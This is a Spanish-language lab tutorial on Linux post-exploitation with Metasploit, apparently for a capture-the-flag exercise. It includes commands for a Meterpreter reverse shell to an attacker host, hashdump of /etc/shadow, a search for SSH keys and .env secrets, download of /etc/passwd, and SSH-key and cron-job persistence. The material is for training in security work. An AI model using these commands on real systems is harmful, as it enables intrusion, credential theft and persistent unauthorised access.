🐧 Post-Explotación en Linux con Metasploit
Metasploit ofrece una amplia colección de módulos post-explotación para Linux, organizados en categorías: gather (recopilar información), manage (gestionar acceso) y escalate (escalar privilegios). Este laboratorio cubre los módulos más comunes para enumerar el sistema y establecer persistencia.
Los módulos post de Metasploit se ejecutan sobre una sesión existente. Requieren que la sesión esté activa y con los privilegios adecuados.
💥 Fase 1 — Acceso inicial a Linux
Obtener sesión Meterpreter Linux
msfconsole -q
use exploit/... # según el servicio vulnerable
set RHOSTS <IP>
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Verificar sesión
sysinfo
getuid
ifconfig
🔍 Fase 2 — Enumeración del sistema
| Módulo | Descripción |
|---|---|
| post/linux/gather/enum_system | Kernel, hostname, usuarios, variables de entorno |
| post/linux/gather/enum_users_history | Usuarios y historial de comandos (.bash_history) |
| post/linux/gather/hashdump | Extraer hashes de /etc/shadow (requiere root) |
| post/linux/gather/enum_network | Interfaces, rutas, conexiones activas |
| post/linux/gather/checkvm | Detectar si la máquina está virtualizada |
| post/linux/gather/enum_configs | Archivos de configuración con posibles credenciales |
| post/linux/gather/enum_services | Servicios activos y sus configuraciones |
Usar un módulo post (ejemplo)
use post/linux/gather/enum_system
set SESSION 1
run
💾 Fase 3 — Persistencia en Linux
Persistencia mediante clave SSH
use post/linux/manage/sshkey_persistence
set SESSION 1
set CREATESSHFOLDER true
run
# Genera clave y la instala en authorized_keys
Persistencia mediante cron job
use post/linux/manage/cron_persistence
set SESSION 1
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
run
# Crea tarea programada que ejecuta el payload periódicamente
📁 Fase 4 — Exfiltración
Buscar y descargar archivos
# Buscar archivos con extensión .conf
search -f "*.conf"
# Buscar archivos con credenciales comunes
search -f "id_rsa"
search -f ".env"
# Descargar archivo
download /etc/passwd
Obtener la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag
🧠 Conceptos clave
- Módulos gather: Diseñados para recopilar información del sistema sin modificarlo.
- Módulos manage: Permiten modificar el estado del sistema (crear usuarios, configurar persistencia).
- SESSION: Parámetro que indica sobre qué sesión activa se ejecuta el módulo post.
- /etc/shadow: Archivo que contiene los hashes de contraseñas en Linux. Sólo accesible como root.
- Post-explotación: Fase donde se maximiza el valor del acceso obtenido sin repetir la intrusión inicial.